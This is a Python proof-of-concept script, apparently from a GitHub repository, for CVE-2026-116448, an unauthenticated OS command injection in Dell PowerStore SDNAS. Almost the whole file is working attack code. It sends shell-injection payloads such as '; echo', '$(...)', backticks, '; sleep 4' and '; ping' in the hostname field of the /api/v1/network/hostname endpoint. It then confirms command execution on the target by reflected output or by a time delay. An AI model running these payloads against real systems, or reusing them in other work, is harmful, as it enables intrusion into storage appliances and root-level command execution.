#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-116448 (MIT)
# -*- coding: utf-8 -*-
"""
CVE-2026-116448 — Dell PowerStore SDNAS Unauthenticated OS Command Injection -> Root RCE
Product : Dell PowerStore SDNAS < 4.1.0
CVSS    : 9.8 (Critical) | CWE-78 (OS Command Injection)
Patch   : 4.1.0
Author  : CveForge
"""

import argparse
import sys
import time
import threading

try:
    import requests
    from requests.adapters import HTTPAdapter
    from urllib3.util.retry import Retry
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("[!] requests package missing: pip install requests")
    sys.exit(1)

BANNER = """
\033[91m
  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗ ███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝
\033[0m
\033[93m  CVE-2026-116448 — Dell PowerStore SDNAS Unauthenticated OS Command Injection -> Root RCE\033[0m
\033[90m  CVSS 9.8 | Critical | CWE-78 | Dell PowerStore SDNAS\033[0m
"""

VERSION = "1.0.0"
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"


def log(msg: str, verbose: bool = True) -> None:
    import datetime
    ts = datetime.datetime.now().strftime("%H:%M:%S")
    print(f"{ts} {msg}", flush=True)


def build_session(proxy: str = None, insecure: bool = True) -> requests.Session:
    s = requests.Session()
    s.headers["User-Agent"] = UA
    s.verify = not insecure
    if proxy:
        s.proxies = {"http": proxy, "https": proxy}
    adapter = HTTPAdapter(max_retries=Retry(total=0))
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    return s


def build_target(host: str, port: int) -> str:
    host = host.rstrip("/")
    if not host.startswith(("http://", "https://")):
        host = "http://" + host
    if port:
        from urllib.parse import urlparse, urlunparse
        p = urlparse(host)
        host = urlunparse(p._replace(netloc=f"{p.hostname}:{port}"))
    return host


# ── PROBE FUNCTION ───────────────────────────────────────────
def probe(session: requests.Session, target: str, endpoint: str,
          cmd_param: str, method: str, timeout: int, verbose: bool) -> dict:
    """OS Command Injection — blind (time) + out-of-band (echo) detection."""
    result = {"vulnerable": False, "evidence": "", "payload": ""}
    url = target.rstrip("/") + endpoint

    MARKER = "CveForge8821"
    payloads = [
        # Echo-based (output reflection)
        (f"; echo {MARKER}",             MARKER),
        (f"| echo {MARKER}",             MARKER),
        (f"`echo {MARKER}`",             MARKER),
        (f"$(echo {MARKER})",            MARKER),
        (f"& echo {MARKER} &",           MARKER),
        # Time-based blind
        ("; sleep 4",                    "__time__"),
        ("| sleep 4",                    "__time__"),
        ("; ping -c 4 127.0.0.1",        "__time__"),
        ("& timeout /t 4 &",             "__time__"),
    ]

    for payload, expected in payloads:
        try:
            data = {cmd_param: "localhost" + payload}
            t0 = time.monotonic()
            if method.upper() == "POST":
                r = session.post(url, data=data, timeout=max(timeout, 6))
            else:
                r = session.get(url, params=data, timeout=max(timeout, 6))
            elapsed = time.monotonic() - t0

            if verbose: log(f"  {payload!r} -> {r.status_code} ({elapsed:.2f}s)", True)

            if expected == "__time__" and elapsed >= 4.0:
                result.update({"vulnerable": True,
                                "evidence":   f"Time-based: {elapsed:.2f}s delay",
                                "payload":    payload})
                return result
            elif expected != "__time__" and expected in r.text:
                result.update({"vulnerable": True,
                                "evidence":   f"Echo '{expected}' reflected",
                                "payload":    payload})
                return result
        except Exception as e:
            if verbose: log(f"  Error: {e}", True)

    return result


def parse_args():
    p = argparse.ArgumentParser(
        description="CVE-2026-116448 — Dell PowerStore SDNAS Unauthenticated OS Command Injection -> Root RCE",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    p.add_argument("-H", "--host",    required=True, help="Target server (e.g. http://target.com)")
    p.add_argument("-p", "--port",    type=int, default=0, help="Target port (0=infer from URL)")
    p.add_argument("-t", "--timeout", type=int, default=10, help="Timeout in seconds")
    p.add_argument("--proxy",         default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    p.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    return p.parse_args()


def main():
    print(BANNER)
    args = parse_args()
    target = build_target(args.host, args.port)
    session = build_session(proxy=args.proxy)

    log(f"[*] Target  : {target}", args.verbose or True)
    log(f"[*] Vuln    : CVE-2026-116448", args.verbose or True)
    log(f"[*] CVSS    : 9.8 (Critical) | CWE-78", args.verbose or True)
    log(f"[*] Product : Dell PowerStore SDNAS", args.verbose or True)
    print()

    log("[*] Starting scan...", True)
    t0 = time.monotonic()
    result = probe(session, target, endpoint="/api/v1/network/hostname", cmd_param="hostname", method="POST", timeout=args.timeout, verbose=args.verbose)
    elapsed = time.monotonic() - t0

    print()
    if result.get("vulnerable"):
        log(f"[+] VULNERABLE: {target}", True)
        log(f"[+] CVE-2026-116448 — Unauthenticated OS Command Injection / Root RCE", True)
        log(f"[+] Evidence: {result.get('evidence', '')}", True)
        if result.get("payload"):
            log(f"[>] Payload: {result['payload']}", True)
        log(f"[+] CVSS: 9.8 (Critical) | CWE-78", True)
    else:
        log(f"[-] Not vulnerable or no response.", True)
        if result.get("evidence"):
            log(f"[*] Note: {result['evidence']}", True)

    log(f"[*] Duration: {elapsed:.2f}s", True)
    print()
    log("[!] LEGAL: Use on authorized systems only.", True)


if __name__ == "__main__":
    main()
